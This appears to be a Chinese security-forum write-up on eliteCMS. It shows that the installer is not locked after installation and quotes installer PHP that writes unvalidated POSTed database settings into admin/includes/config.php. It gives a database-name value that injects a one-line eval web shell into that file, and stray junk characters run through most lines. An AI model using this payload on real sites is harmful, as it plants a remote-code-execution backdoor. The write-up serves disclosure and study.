eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

4 O/ s4 c  d8 a' F/ z, f另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
* [! a3 g' z/ {- Z7 ^: ?我们来看代码：
. X! x: {$ l8 q+ D1 R
, l. v& G+ O1 j! w4 Z; B...
7 i2 j  V2 D% h# Z  B  E; o8 L  |elseif ($_GET['step'] == "4") {
# L# i0 F" D! C5 N, B    $file = "../admin/includes/config.php";
5 n6 R  Q' G2 ~% @    $write = "<?php\n";
" T! S6 T+ o& d" W! |- u    $write .= "/**\n";
    $write .= "*\n";
9 o3 `$ G' f4 W  D    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
8 {# {$ `/ n  x# |" q  |: V" m, z( b...略...
6 F. F/ _% o1 x    $write .= "*\n";
! ~2 m6 N9 f, k, M1 H  {; z    $write .= "*/\n";
( t/ S; c% }: i* v6 [; g    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
; I% K0 i) a# T- u$ u1 j  n    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
3 o1 P' r* |. E6 \    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
4 o, t0 e( q* C. j    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
6 l6 y% r$ @+ |( V- @    $write .= "        \n";
5 m& h5 d% }1 x( \) ]    $write .= "} \n";
  l4 {& z2 w' A0 E) q    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
3 U+ K2 ]+ H1 t5 ]* L) y    $write .= "if (!\$db_select) {\n";
- S# z% J$ U4 a; C2 n* t    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
5 F6 Q8 u0 z9 K1 g3 m' x    $write .= "} \n";
* f# q4 o7 W* B+ K    $write .= "?>\n";
! n$ v9 H/ q+ d# J
% M. V( C4 j3 ^, ?    $writer = fopen($file, 'w');
* x0 p9 r) Z( s% j7 U9 Q" Q5 h...

$ _4 T; U! E5 _& Y/ Q3 V0 I0 r7 x, U在看代码：
* b0 @; W% e+ a$ U* [
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
9 f4 {3 }7 n! ^$_SESSION['DB_USER'] = $_POST['DB_USER'];
. x$ T: P' p: ?; v$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

) Q* w! p- o' X: y4 s8 n取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
) w4 e# j8 w; `9 X7 m* Z( R
' L5 J" g: H* [6 l0 _. ~* Y& D将导致一句话后门写入/admin/includes/config.php